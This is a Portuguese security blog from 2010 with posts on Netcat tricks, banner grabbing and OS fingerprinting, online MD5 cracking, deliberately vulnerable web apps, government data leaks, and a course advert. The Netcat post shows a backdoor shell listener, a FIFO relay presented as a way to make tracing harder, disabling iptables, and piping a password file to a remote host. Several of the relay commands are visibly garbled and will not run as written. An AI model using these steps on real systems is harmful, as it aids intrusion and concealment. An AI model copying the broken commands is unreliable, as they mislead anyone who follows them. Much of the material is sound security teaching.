Para entrar no curso, acessem esse link: http://code.google.com/intl/es-ES/edu/

Espero que gostem e aproveitem!

30 de abril de 2010

Funcionalidades pouco conhecidas ou usadas do Netcat

Introdução

Ainda que haja muitos artigos sobre esse tema, talvez muitas pessoas utilizam o Netcat apenas para conseguir um shell reverso ou descobrir o sistema operacional de um alvo e varrer suas portas.

Além das operações citadas, há muitas outras funcionalidades que esse canivete suíço nos oferece, e que em algum dado momento possa nos servir de ajuda.

Esse artigo não pretende ser um guia completo, mas simplesmente um ponto de partida para atiçar a curiosidade em explorar um pouco mais os possíveis usos do Netcat.

Transferência de arquivos

Há momento em que precisamos transferir arquivos de um host à outro e não sabemos como, e o Netcat nos oferece um caminho fácil de conseguí-lo, sem necessidade de montar um servidor FTP ou qualquer outra coisa do tipo.

É tão fácil como o que está a seguir.

No servidor:

# netcat -l -p 5050 > pass.txt

No cliente:

# cat pass.txt | netcat ip_server 5050

Com isso conseguimos enviar sem problemas um simples arquivo de texto, mas... O que acontece se quisermos ir mais além e enviar um binário (um executável, um arquivo do OpenOffice.org ,...)?

Vamos tentar o seguinte.

No servidor:

# netcat -l -p 5050 > exemplo.odt

No cliente:

# cat saida.odt | netcat ip_server 5050

E agora vamos comprovar (supondo que o exemplo tenha sido realizado na mesma máquina):

# diff exemplo.odt saida.odt

Como vemos, não há NENHUMA diferença, assim podemos transferir binários sem problemas...


Relays utilizando Netcat

Para esse exercício precisamos de 3 máquinas diferentes. Criaremos um relay na máquina Linux utilizando o Netcat executando-o no modo de escuta e como cliente. Esse encaminhamento dirigirá os dados de uma primeira máquina (A) para outra (B).

Esta máquina de encaminhamento conectará a primeira máquina, executando o Netcat em modo cliente, com uma terceira máquina (C) executando o Netcat em modo servidor, ou de escuta.

Uma vez estabelecida a conexão, o encaminhamento permitirá o acesso a esta última máquina a partir da máquina original.

O host intermediário serve de proxy, de forma que nos conectamos à ele e ele nos conecta ao servidor final, deste modo conseguindo que seja mais difícil nos rastrear, já que nos logs do servidor aparecerá o IP do host relay. Obviamente que quanto mais hosts intermediários utilizarmos, mais difícil será a tarefa de nos rastrear.

Uma maneira de criarmos relays, é unir a entrada e a saída de um cliente e servidor Netcat utilizando um arquivo especial denominado FIFO (Firts In, First Out). Podemos criar um arquivo FIFO e utilizá-lo para unir um Netcat em modo servidor com um cliente através dos seguintes comandos:

# mknod backpipe p
# nc -l -p [portaA] 0backpipe


Onde a portaA é a porta onde o relay está escutando e Porta_Destino a porta da máquina destino (IP_Destino) onde configuramos um backdoor com o shell. É importante não colocar espaços nos direcionamentos (>,<). Estes redirecionamentos permitem dirigir a entrada e saída padrão para um backpipe e não podem ter espaços neles.

Para que isso funcione, é necessário que caso tenhamos um filtro de pacotes rodando, permitamos o envio de pacotes à máquina C. É possível que se estivermos com o iptables ativo (funcionando como firewall), isso não será permitido. Podemos desativar o iptables do seguinte modo:

# /etc/init.d/iptables stop

Bem, mãos à obra, como escrevi antes, vamos precisar de três máquina (no meu caso, o próprio host onde trabalho, e 2 máquinas virtuais), os IPs são os seguintes:
  • Servidor: 192.168.1.129
  • Relay: 172.16.72.135
  • Cliente: 172.16.72.136

Vamos em frente.

No servidor, deixamos o Netcat escutando uma porta com um shell de presente:

# nc -l -p 5555

No relay, criamos o FIFO, e através dos direcionamentos fazemos as conexões:

# mknod buffer p
# netcat -l -p 1111 0buffer


Como podemos observar, primeiro criamos o buffer com ajuda do mknod, e depois usamos o mesmo para unir a entrada padrão (que nesse caso será aquilo que o cliente nos enviará através do Netcat) com a conexão no servidor e armazenar de novo a saída dessa última conexão no buffer, que será encaminhado para o cliente.

Finalmente, nos conectamos a partir do nosso cliente e observamos que temos o shell com o servidor:

# netcat 172.16.72.135
# pwd

/home/XXXX

Para nos asseguramos que a conexão a partir de nosso cliente até o servidor, tenha sido "mascarada" pelo relay, verificamos no servidor as conexões ativas, filtrando, por exemplo, a porta 5555 que é onde estamos "escutando", e obtemos o seguinte:

# netstat -aveptn | grep 5555
tcp 0 0 192.168.1.129:5555 172.16.72.135:51220 ESTABELECIDO 1000 44068 9038/bash

Vemos que, efetivamente, alguém se conectou em nossa porta 5555, que possui um shell (bash) e que a conexão vem do relay (172.16.72.135:51220).


Uso como scanner

Podemos encontrar alguma situação em que não temos o NMap ou algum outro programa à mão, no entanto, sempre poderemos lançar mão do Netcat e usá-lo como um scanner de portas (um pouco barulhento e tosco... rs).

Por exemplo:

# nc -vv 127.0.0.1 22-25
localhost [127.0.0.1] 25 (smtp) : Connection refused
localhost [127.0.0.1] 24 (?) : Connection refused
localhost [127.0.0.1] 23 (telnet) : Connection refused
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_4.7p1 Debian

Enviar e-mail

É sempre divertido interagir com protocolos de rede baseados em texto com nada mais do que o Netcat e um teclado. Segue um pequeno exemplo mostrando como enviar e-mails comunicando-se com um servidor SMTP. O SMTP está descrito na RFC 5321, mas não é necessário muito sobre o protocolo para enviar uma simples mensagem. O serviço está vinculado à porta 25, e utilizaremos o parâmetro -C porque o mesmo é requerido para finalizações de linha (CRLF). O exemplo abaixo possui a transcrição de uma sessão:

$ ncat -C mail.exemplo.com 25
220 mail.exemplo.com ESMTP
HELO cliente.exemplo.com
250 mail.exemplo.com Olá cliente.exemplo.com
MAIL FROM:a@exemplo.com
250 OK
RCPT TO:b@exemplo.com
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
From: a@exemplo.com
To: b@exemplo.com
Subject: Saudações!

Olá. Esta é uma pequena mensagem enviado pelo netcat.
.

250 OK
QUIT
221 mail.exemplo.com closing connection

Para fazer esse exemplo funcionar, altere o mail.exemplo.com para o seu servidor SMTP e o cliente.exemplo.com para o seu domínio. Naturalmente mudará o endereço de e-mail e a mensagem também. Isso funcionará utilizando seu servidor de e-mail válido, com seu endereço real, ou quando utilizar o servidor de e-mail do remetente (procure pelo registro MX para o domínio em seu endereço de e-mail).

Obviamente que esta técnica pode ser utilizada para mais do que apenas enviar emails. Netcat é uma grande ferramenta de debug para qualquer protocolo baseado em texto. O debug é feito algumas vezes com o comando telnet, pois ele provê algo como uma resposta em texto bruto. Porém, o Netcat possui algumas vantagens sobre o telnet. O Netcat não exibe nada além do que é enviado pelo host remoto. O telnet não é tão bom para dados binários arbitrários, pois reserva alguns bytes como caracteres de controle. Além do mais, telnet não funciona com o protocolo UDP.


Encadeando netcats

Netcat foi desenvolvido para trabalhar com um pipeline, então naturalmente a saída de uma instância do Netcat pode alimentar a entrada de outro. Abaixo segue uma maneira de enviar um arquivo de log de um host para outro através de um intermediário:

host3# ncat -l > log.txt
host2# ncat -l | ncat host3
host1# ncat --send-only host2 <>

Um possível problema com esta técnica é que funciona em "mão única": host1 pode enviar, mas não é possível para o host3 enviar qualquer coisa para o host1. Nesse caso não importa, mas isso pode ser feito com algumas pequenas mudanças. Vejamos:

host3# ncat -l > log.txt
host2# ncat -l --sh-exec "ncat host3"
host1# ncat --send-only host2 <>

O Netcat em modo de escuta no host2, ao receber uma conexão cria um "novo netcat" para falar com o host3 e conecta a entrada e saída do programa em execução no host1 e host3 encadeando-os. Esse mesmo "macete" pode ser utilizado em um host local também. O exemplo a seguir direciona a porta 8080 para o servidor web exemplo.org.br:

# ncat -l localhost 8080 --sh-exec "ncat exemplo.org.br 80"

Simulando SSL

Suponhamos que precise conectar em um servidor IMAP que requeira SSL, mas seu leitor de e-mails mão suporta SSL. O Netcat pode agir como uma ponta criptografada para conectar o cliente e o servidor. Conectaremos o cliente de e-mail à uma porta local e o Netcat encaminhará o tráfego, encriptado, para o servidor. Abaixo está como conectar o IMAP (porta 143) no host local ao IMAP com SSL (porta 993) no imap.exemplo.com.

# ncat -l localhost 143 --sh-exec "ncat --ssl imap.exemplo.com 993"

Uma vez que isso tenha sido executado, instrua o cliente de e-mail a conectar ao servidor IMAP no host local (localhost).

Esse "macete" funciona com protocolos que enviem o tráfego estritamente entre dois hosts. Não funciona muito bem para HTTP porque envolve hostnames e frequentemente envolve múltiplos hosts.

SSH através de um túnel Netcat

Com o Netcat e OpenSSH, é possível executar o SSH para um host atrás de um roteador com NAT sem precisar direcionar as portas no roteador. O roteador precisa ter o Netcat instalado. Abaixo segue como conectar via SSH à um host através de um roteador:

# ssh -o ProxyCommand="ssh -q ncat %h %p"

A opção ProxyCommand do ssh diz como abrir a conexão SSH para o host. Isso é feito abrindo outra sessão SSH para o roteador e conectando-o ao host com o Netcat.

E mais...

Há muitas coisas mais que podemos fazer com essa fantástica ferramenta, como por exemplo:
  • um programa de força bruta (bruteforce): poderíamos criar um dicionário e mandar palavra por palavra à uma porta, de forma que quando encontre a senha correta, faça o registro.
  • enumeração de serviços: basta conectar-se com a porta que queremos extrair a informação do serviço e guardar sua resposta para analisá-la posteriormente.
  • mini-chat: ainda que não acredite, isso pode ser feito :-)

E isso é apenas a ponta do iceberg...

24 de abril de 2010

Teste de invasão (parte 1) - Identificação de banner

Introdução

Um teste de invasão é um método de avaliação de segurança de um sistema ou rede computacional mediante a simulação de um ataque malicioso, por parte de um cracker. O processo implica em uma análise ativa das vulnerabilidades em potencial que possam resultar de uma má ou inadequada configuração do sistema. Essa análise se realiza a partir da posição de um atacante em potencial, e pode implicar na exploração ativa de vulnerabilidades de segurança.

Qualquer problema de segurança que se encontre será apresentado ao proprietário da rede, juntamente com uma avaliação de seu impacto e uma proposta de mitigação ou solução técnica.

Fonte: http://en.wikipedia.org/wiki/Penetration_test

Esse artigo será o primeiro de uma série, onde explicarei de forma básica as ferramentas e métodos utilizados em cada uma das seguintes fases de um teste de invasão:
  • Identificação de banner
  • Enumeração do alvo
  • Varredura
  • Sniffing e Spoofing
  • Ataques de força bruta
  • Varredura de vulnerabilidades
  • Negação de serviço

Cada fase terá sua análise sobre os seguintes aspectos:
  • Descrição (da técnica/fase)
  • Ferramentas (utilizadas para a execução da técnica)
  • Método de Uso (forma de utilizar a ferramenta)
  • PoC (a famosa prova de conceito - Proof of Concept -, onde será dado um exemplo real com o resultado da utilização da ferramenta).


Identificação de banner

Um banner é definido como a obtenção do estado ou informação por meio de solicitações a determinadas portas do sistema.

Ferramentas:

Telnet

Telnet usa a porta 23 para realizar a conexão. Agora, se tentarmos conectar a uma determinada porta, ele nos devolve um banner da porta que tentamos conectar.

Método de uso: telnet [host-name [port]]

PoC:

# telnet 192.168.0.4 25
Trying 192.168.0.4...
Connected to 192.168.0.4.
Escape character is '^]'.
220 hacklabxp Microsoft ESMTP MAIL Service, Version: 6.0.2600.2180 ready at
Fri, 2 Apr 2010 19:45:41 -0500

Netcat

Netcat é uma ferramenta para protocolo TCP/IP, mas quando usamo-lo para reconhecimento de banners, retorna as informações da porta na qual tentamos conectar.

Método de uso: nc [host-name [port]]

PoC:

# nc 192.168.0.4 25
220 hacklabxp Microsoft ESMTP MAIL Service, Version: 6.0.2600.2180 ready at
Fri, 2 Apr 2010 19:58:41 -0500

FTP

FTP é uma ferramenta para transferência de arquivos, mas quando usamos para reconhecimento de banners, retorna as informações da porta na qual tentamos conectar.

Método de uso: ftp [host-name [port]]

PoC:

# ftp 192.168.0.4 25
Connected to 192.168.0.4.
220 hacklabxp Microsoft ESMTP MAIL Service, Version: 6.0.2600.2180 ready at
Fri, 2 Apr 2010 20:07:32 -0500

AMAP

AMAP é uma ferramenta para identificar os protocolos de aplicação nas portas do alvo.

Método de uso: amap [Options] [host-name [port]]

PoC:

# amap -b 192.168.0.4 25
amap v5.2 (www.thc.org/thc-amap) started at 2010-04-02 20:40:15 - MAPPING mode
[..cortado..]
Protocol on 192.168.0.4:25/tcp matches smtp - banner: 220 hacklabxp Microsoft
ESMTP MAIL Service, Version 6.0.2600.2180 ready at Fri, 2 Apr 2010 204015
-0500 \r\n500 5.3.3 Unrecognized command\r\n
[..cortado..]


Complemento

Depois de obter a informação das portas nas quais realizamos as conexões, o mais importante é saber a qual sistema operacional pertence esses dados.

Nmap

Um parâmetro do Nmap, nos permite identificar e/ou estabelecer o sistema operacional residente na máquina alvo.

Método de uso: nmap -O [host-name]

PoC:

# nmap -O 192.168.0.4
[..cortado..]
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003
[..cortado..]

Xprobe2

Xprobe2 permite determinar qual sistema operacional está sendo executado em um servidor remoto. Envia vários pacotes de dados ao servidor e analisa as respostas.

Método de uso: xprobe2 [host-name]

PoC:

# xprobe2 192.168.0.4
[..cortado..]
[+] Primary guess:
[+] Host 192.168.0.4 Running OS: "Microsoft Windows XP SP2" (Guess probability: 100%)
[..cortado..]

Auxiliary Metasploit

NetBIOS Information Discovery.

Método de uso:

msf> use scanner/netbios/nbname
msf auxiliary(nbname)> set rhosts [host-name]


PoC:

msf> use scanner/netbios/nbname
msf auxiliary(nbname)> set rhosts 192.168.0.4
rhosts => 192.168.0.4
msf auxiliary(nbname)> exploit
[..cortado..]
[*] 192.168.0.4 [HACKLABXP] OS:Windows Names:(HACKLABXP, GRUPO_TRABAJO,
__MSBROWSE__) Addresses:(192.168.0.4) Mac:00:0c:29:33:dd:72
[..cortado..]

Conclusão

A partir disso, com as informações que coletamos, podemos imaginar quais os possíveis serviços ou sistema operacional que podem ser usados num ataque.

6 de abril de 2010

O Brasil, Inteligência, e o Custo do Vazamento das Informações Governamentais

Por José Antonio Milagre

Fonte: http://www.dicas-l.com.br/legaltech/legaltech_20100225.php

Não é de hoje que sabemos sobre certos episódios envolvendo espionagem, vazamento de informações e crime organizado dentro do setor público brasileiro. Com a tecnologia da informação, as formas de coleta indevida e difusão das informações facilitaram os crimes digitais, associado ao fato da ignorância de muitos servidores públicos na proteção das informações.

Longe dos pomposos e não tão eficientes órgãos de segurança e inteligência do Governo Federal e dos Estados ricos da Federação, encontramos Estados, Prefeituras e orgãos manipulando informações sensíveis, diga-se, matéria prima para fraudes e golpes, sem qualquer proteção. São dados de concursos, de segurança, arrecadação, licitações, contratos, convênios, imóveis a serem leiloados e outras informações aptas a serem exploradas para a fraude ou exploração ilícita. O resultado é previsível.

No Brasil, o gabinete de segurança institucional apresenta relatos de falhas, como no caso das câmeras do Palácio do Planalto, que não registraram as placas dos veículos que estiveram por lá no início de 2009[1]. Na previdência, a fraude chega a 1,6 bilhões de reais[2], e conta com uso indevido de informações do sistema de óbito de segurados, o SISOB, bem como outras técnicas de uso indevido de dados, o que faz do país um dos que mais possuem "mortos-vivos" do mundo em termos previdenciários. Estamos também entre os campeões de "empresas-fantasma", aptas a abocanhar licitações do norte a sul do país.

A prórpia Polícia Federal tem sua conduta questionada, no que cerne ao vazamento de informações de inquéritos e outros procedimentos, para a imprensa, televisões e outros privilegiados, o que gerou a indignação do ministro do Supremo Tribunal Federal, Gilmar Mendes, também em 2009 [2], e que também motivou o pacotão da segurança pública que pretende suspender e até demitir o agente que se manifestar sobre investigação que participe ou tenha conhecimento[3]

No centro de São Paulo, é possível comprar senhas para o maior banco de dados da segurança pública do Brasil, o InfoSeg [4], a custo irrisório de 2 mil reais, como já noticiado na mídia brasileira.

Outros entes públicos de nível federal, estadual e municipal já experimentaram a fraude resultado da associação entre maus servidores e particulares bandidos. A epidemia não é só pública, já que estima-se que no Brasil boa parte dos negócios fechados no mercado financeiro tenham como suporte o vazamento de informações[5].

O que o vazamento de informações causa" Dano e desfalque ao erário. Tomemos o exemplo do vazamento de informações que prejudicou uma operação policial no Rio de Janeiro, em 2007, nas favelas do Complexo São Carlos, no Estácio, onde a Polícia pretendia prender 100 pessoas. Um homem foi preso.

Outro exemplo, o vazamento das provas do ENEM em 2009[7]. 500 mil reais era o que o funcionário da gráfica contratada pelo Ministério da Educação queria para fornecer as informações ao Jornal "O Estado de São Paulo". Resultado? O sabido cancelamento da prova, ato que custou nada menos que 30 milhões ao Governo.

Mais um exemplo, a venda dos caças ao Governo Brasileiro, fato amplamente noticiado em 2009, onde a despeito do termo de confidencialidade estabelecido pela Força Aérea Brasileira (FAB), ficou claro o vazamento de informações sobre o preço ofertado pela francesa Dassault[8]. No Brasil, a Lei 9883/99 institui o Sistema Brasileiro de Inteligência, no âmbito federal, e cria a ABIN. Este sistema é responsável pela coleta e custódia de informações para servir ao Presidente da República em suas decisões. Todos os entes públicos que manipulam informações de interesse nacional compõem o SBI e estão sujeitos ao controle da ABIN. Ora, se existe permissivo legal para o monitoramento e auditoria, porque tantos escândalos?

Não bastasse, sabemos que fora do executivo federal, órgãos públicos municipais e estaduais ainda não atentaram para o risco da negligencia, imprudência ou imperícia na manipulação de informações confidenciais. O Código Penal brasileiro prevê em seu artigo 325 o crime de violação de sigilo funcional também para quem permite ou facilita o acesso de terceiros a sistemas de informações da administração pública, estabelecendo ainda uma pena de reclusão que pode chegar de 2 a 6 anos e multa. Ou seja, ser negligente com sistemas informáticos, na administração pública, é crime!

Já se o funcionário público é quem insere ou altera os dados nos sistemas da administração, pode responder pelo peculato informático, dependendo das circustâncias, será enquadrado nos arts. 313-A e 313-B do Código Penal, com pena que pode chegar a 12 anos de reclusão. Mas só punição adianta? Efetivamente que não, eis que como verificamos, o peculato informático foi criado em 2000 e nem por isto desestimulou o vazamento de informações públicas e pelo contrário, hoje são os particulares que praticam o crime de exploração de prestígio, ao se valerem das relações com funcionários públicos maléficos, na obtenção de vantagens.

A resposta é a efetiva gestão de segurança da informação, com a implementação de um sistema eficaz e que considere pessoas acima de ferramentas e softwares e leve em consideração que influências internas são as principais responsáveis pelo vazamento de dados na área pública e também privada. Uma pesquisa mais refinada no Google e descobrimos quantos servidores utilizam e-mails do governo para usos privados. Mais, sabemos de casos em que o servidor foi desligado e anos depois ainda detinha privilégios de acesso à rede VPN governamental, agenciando tais informações à seu critério. Documentos privados circulam na internet com timbres oficiais, e que podem ser utilizados por estelionatários para confecção de falsos documentos e aplicação de golpes.

Dados não são validados quanto ingressam nas bases da adminsitração, acordos de confidencialidade não são cumpridos, funcionários não são conscientizados dos riscos, não existem perímetros físicos de proteção de ativos, funções não são segregadas e o pior, em alguns órgãos os gestores públicos sequer sabem quais os ativos informacionais são importantes para a empresa pública, e o quanto devem se esforçar para protegê-los.

Estas, são apenas algumas posturas inerentes à ausência de um sistema de gestão que preze pelos fundamentos da segurança: integridade, disponibilidade e confidencialidade de dados, e principalmente, que seja testado e avaliado periodicamente, por meio de testes de intrusão, engenharia social e outras técnicas homologadas e válidas em segurança da informação.

Se você questionar a um gestor de segurança de um órgão público se ele tem uma ferramenta firewall licitada funcionando em sua área o mesmo afirmará que sim. Agora experimente questionar se ele tem uma política de gestão de continuidade do negócio, ou se adota gestão da segurança no desenvolvimento e suporte de seus sistemas, ou ainda se desenvolveu uma célula de forense digital vinculada a seu time de resposta a incidentes...

As proteções contra vazamentos devem ser objeto de avaliação periódica e a inteligência é fundamental neste ponto. Não acabaremos com o vazamento de informações públicas licitando firewalls, software de segurança e detectores de intrusão, mas aliando a rigorosa legislação brasileira já existente, com técnicas de monitoramento e screening dos funcionários públicos que lidam com informações críticas. A inteligência não deve estar só no âmbito federal, e principalmente, deve sair do papel e ser aplicada. Aquele que manipula informações públicas sensíveis deve estar ciente de que dada a responsabilidade que detém, pode ser auditado, sem que possa evocar a proteção conferida a um cidadão comum, no que tange à privacidade.

Tomemos o exemplo de Portugal onde o Serviço de Informações da República (SIS) e o Serviço de Informações Estratégias, em 2009, assinaram protocolos para a inserção de espiões nos serviços públicos. Mas qual a finalidade desta medida" Simples, combater a criminalidade organizada dentro do Governo, esta, que se vale de informações confidenciais e privilegiadas para movimentar um mercado negro de milhões de euros. Aqui não é diferente.

No Brasil, algumas iniciativas ainda engatinham, mas servem de exemplo para todos os órgãos públicos da Federação, como o projeto de Lei que dispõe sobre o regime disciplinar do Departamento da Polícia Federal e da Polícia Civil do Distrito Federal, que institui a chamada "sindicância patrimonial", destinada a averiguar e identificar servidores que ostentam patrimônio imensamente maior do que o compatível com a função. São medidas que podem auxiliar a redução dos crimes envolvendo vazamento de informações eis que quem tem acesso a informações sigilosas governamentais, com certeza não as cede gratuitamente.

Enfim, demonstramos que o vazamento de informações na administração pública em todas as suas esferas é realidade, motivada e impulsionada pelo vantajoso e lucrativo tráfico de informações e principalmente pela ausência de monitoramento dos ativos de tecnologia da informação e seus respectivos suportes. Igualmente, concluímos que não existe uma solução pacífica e incontroversa para amenização desta patologia, porém sabemos que esta solução passa longe da compra e mais compra de softwares e dispositivos de segurança, e que um caminho pode ser a aplicação da lei, em cotejo com a fiscalização e testes de intrusão para avaliar condutas dolosas e culposas, perícia digital para identificar a autoria de incidentes, além do monitoramento de ex-agentes e a chamada sindicância patrimonial.

Resta pacífico que serviços de inteligência em sua gênese são concebidos no escopo de apoiar a tomada de decisões governamentais, e mais que isso, de proteger ativos das ameaças, sobretudo digitais, antecipando problemas e identificando causadores. Porém, mais claro ainda, fica demonstrado que sem governança, análise de risco, conformidade e monitoramento constante, tais serviços podem se voltar contra o Estado e seus cidadãos, servindo, por ação ou omissão, interesses escusos e criminosos, de sabida alta lucratividade.

6 de março de 2010

Aplicações WEB vulneráveis para testes práticos

Nessa pequena dica criei uma lista de aplicações WEB vulneráveis para que os profissionais de segurança possam realizar testes realistas sem comprometer sistemas.

A prática faz o mestre, mas no campo da segurança da informação, se praticamos em aplicações ou servidores de terceiros, podemos chegar a ter problemas com a lei. Por esse motivo existem ferramentas como Damn Vulnerable Web App, uma aplicação web vulnerável que permite colocarmos à prova nossos conhecimentos sobre segurança de aplicações web. No entanto, a DVWA não é a única aplicação deste tipo existente. Abaixo compartilho com vocês algumas das aplicações web vulneráveis que servem para o mesmo propósito que a DVWA:
  • WebGoat é uma aplicação web J2EE deliberadamente vulnerável, mantida por OWASP e desenvolvida para ensinar lições de segurança em aplicações web.
  • Moth é uma imagem do VMware que contém um conjunto de aplicações web e scripts vulneráveis, que podem ser utilizados para testes com scanners de vulnerabilidades em aplicações web, ferramentas de análise de código estático (SCA), dar cursos introdutórios de segurança de aplicações web.
  • BadStore é uma aplicação web para loja virtual que inclui de maneira intencional diferentes falhas de segurança para provar nossos conhecimentos e ferramentas sobre segurança.
  • WebMaven é um ambiente interativo de segurança web que emula várias das falhas mais comuns nas aplicações web.
  • SecuriBench é uma aplicação escrita em java na Universidade de Stanford que inclui as seguintes vulnerabilidades: SQL injection attacks, Cross-site scripting attacks, HTTP splitting attacks e Path traversal attacks, para praticarmos com elas.
  • Mutillidae é um conjunto de scripts vulneráveis escritos em PHP, diferentemente de outras aplicações do mesmo tipo, Mutillidae se diferencia pela simplicidade de seu código, focado nos desenvolvedores iniciantes de aplicações web.
  • SÉRIE HACME, a série Hacme é um conjunto de aplicações web temáticas escritas por Foundstone, que possuem em seu código, de forma deliberada, muitas vulnerabilidades web para que pratiquemos nossos conhecimentos sobre segurança web, dentro dessa série temos um aplicativo web de um cassino Hacme Casino, uma aplicação web de loja virtual Hacme Shipping, um sistema de viagens Hacme Travel e uma aplicação web que simula um banco Hacme Bank.

8 de fevereiro de 2010

A arquitetura OSI de segurança

Com o surgimento das redes e aplicações cliente/servidor, foram desenvolvidos modelos e padrões com os quais fui tomando contato durante minha vida profissional e acadêmica. O Modelo OSI é bem conhecido por todos que tenham experiência e/ou conhecimento teórico de redes e protocolos de comunicação. Porém, você sabia que também existe uma Arquitetura OSI de Segurança?

OSI é a sigla de "Open System Interconnection", que em português significa "Sistemas abertos de conexão", e quando utilizamos esse termo nos vem de imediato o modelo de redes e suas sete camadas. Porém o OSI faz parte da ITU (União Internacional de Telecomunicação) e faz referência a tudo quanto seja padrão para comunicação entre sistemas.

A arquitetura OSI de segurança é baseada na recomendação X.800 e na RFC 2828. A essência da arquitetura se baseia na necessidade das organizações possuírem políticas de segurança e serviços que permitam avaliar tudo o que esteja relacionado com a segurança de suas informações. Estes serviços resumem-se em:

1. Autenticação: confirma que a identidade de uma ou mais entidades conectadas à uma ou mais entidades, é verdadeira. Entende-se por entidade um usuário, processo ou sistema. De igual forma, corrobora à determinada entidade que a informação parte de uma outra entidade verdadeira.

2. Controle de acesso: protege determinada entidade contra o uso não autorizado de seus recursos. Este serviço de segurança pode aplicar-se a vários tipos de acesso, como por exemplo, o uso de meios de comunicação, leitura, alteração ou eliminação de informações e execução de processos.

3. Confidencialidade: protege determinada entidade contra a liberação deliberada ou acidental de qualquer conjunto de dados ou informações à entidades não autorizadas.

4. Integridade: assegura que os dados armazenados nos computadores e/ou transferidos em uma conexão, não foram alterados.

5. Não repúdio: esse serviços protege contra usuários que querem criar uma falsa negação de que enviaram ou receberam uma mensagem.

Baseado na RFC 2828, a arquitetura foca no que chamamos de riscos de "ameaças e ataques", onde uma ameaça é a possibilidade latente de que é possível violar o sistema de informação e um ataque é um ato inteligente e deliberado derivado propriamente de uma ameaça.

28 de janeiro de 2010

Quebre senhas online

Você está com aquele hash MD5 e não tem nenhuma ferramenta para quebra-lo?

Não se desespere seus problemas acabaram!!!

Veja uma lista de sites que fazem o trabalho sujo para você.

Ahhh!!! Está com preguiça de acessar todos estes sites então use um script Perl que faz isso para você.

O que?!? Achou esse script fraquinho! Então use o módulo md5check_md5crack para o Metasploit.

Nota: Renomei o arquivo de .txt para .rb

Veja o módulo em ação:

  msf auxiliary(md5check_md5crack) > run
[*] Sending 098f6bcd4621d373cade4e832627b4f6 hash to md5crack.com...
[*] plaintext md5 is: test
[*] Auxiliary module execution completed

Fonte: Various Online Password Crackers

24 de janeiro de 2010

Curso Análise Básica de Vulnerabilidades - SP

Atualmente, a área de segurança da informação é uma das mais requisitadas em empresas que precisam proteger suas informações de acessos indevidos. E para tanto, o profissional precisa estar capacitado para conhecer as brechas e vulnerabilidades dos sistemas e redes que administra. Esse curso provê a capacitação necessária para realizar a avaliação e análise de vulnerabilidades existentes, assim como o conhecimento necessário para lidar com as brechas descobertas. O curso é basicamente prático, sendo abordado apenas os aspectos teóricos pertinentes ao trabalho prático desenvolvido. Justamente por isso, trabalharemos dentro das 24h do curso com as principais ferramentas utilizadas em análise de vulnerabilidades, mas traremos também aos alunos o conhecimento de diversas outras, para sua posterior pesquisa.

Esse curso é baseado em parte do conhecimento necessário para algumas das principais certificações internacionais na área de segurança, tais como:

CEH - Certified Ethical Hacker
LPT - Licensed Penetration Tester
CISSP - Certified Information Systems Security Professional
ECSA - Ec-Council Security Analyst


Resumo do programa:

Dia#1
Introdução às Vulnerabilidades
Avaliação de Vulnerabilidades
NMap (parte1)
Secunia

Dia#2
Scanners de Segurança
Exemplos de INFOSEC Tools
NMap (parte2)
Nikto
Ferramentas de Avaliação de Vulnerabilidades
Retina
Avaliação de Vulnerabilidades (passo 1)
GFI LANguard
Cheops

Dia#3
Avaliação de Vulnerabilidades (passo 2)
Indo além...
Nessus
Hydra
Gerenciamento de Vulnerabilidades
TCPDump
Wireshark


Sobre o instrutor: Luiz Vieira é Analista de Segurança e trabalha na área de TI desde 1995, com larga experiência em WEB, desenvolvimento, segurança e Linux. Trabalha com teste de invasão, segurança de redes e servidores, consultoria e auditoria na área de Segurança da Informação. Também é professor e ministra vários cursos na área de Segurança.

Pré-requisitos: Conhecimento básico de redes e protocolo TCP/IP
Laptop, rodando Windows/Linux com VMWare ou VirtualBox instalado.

Dias: 16, 17 e 18 de Abril/2010
Horários: dia 16 - de 18h às 22h
dias 17 e 18 - de 9h às 20h
Carga horária: 24h
Valor do investimento: R$ 1.200,00

Formas de pgto:
Em dinheiro ou depósito, à vista com 5% de desconto.
(15% de desconto se o pgto for realizado até o dia 26 de março).
Pagamento por cartão de crédito via PagSeguro.


Local: São Paulo - Local a ser definido próx. à Av. Paulista
Para informações e inscrição: (21) 8748-6387
Email para contato: luizwt@gmail.com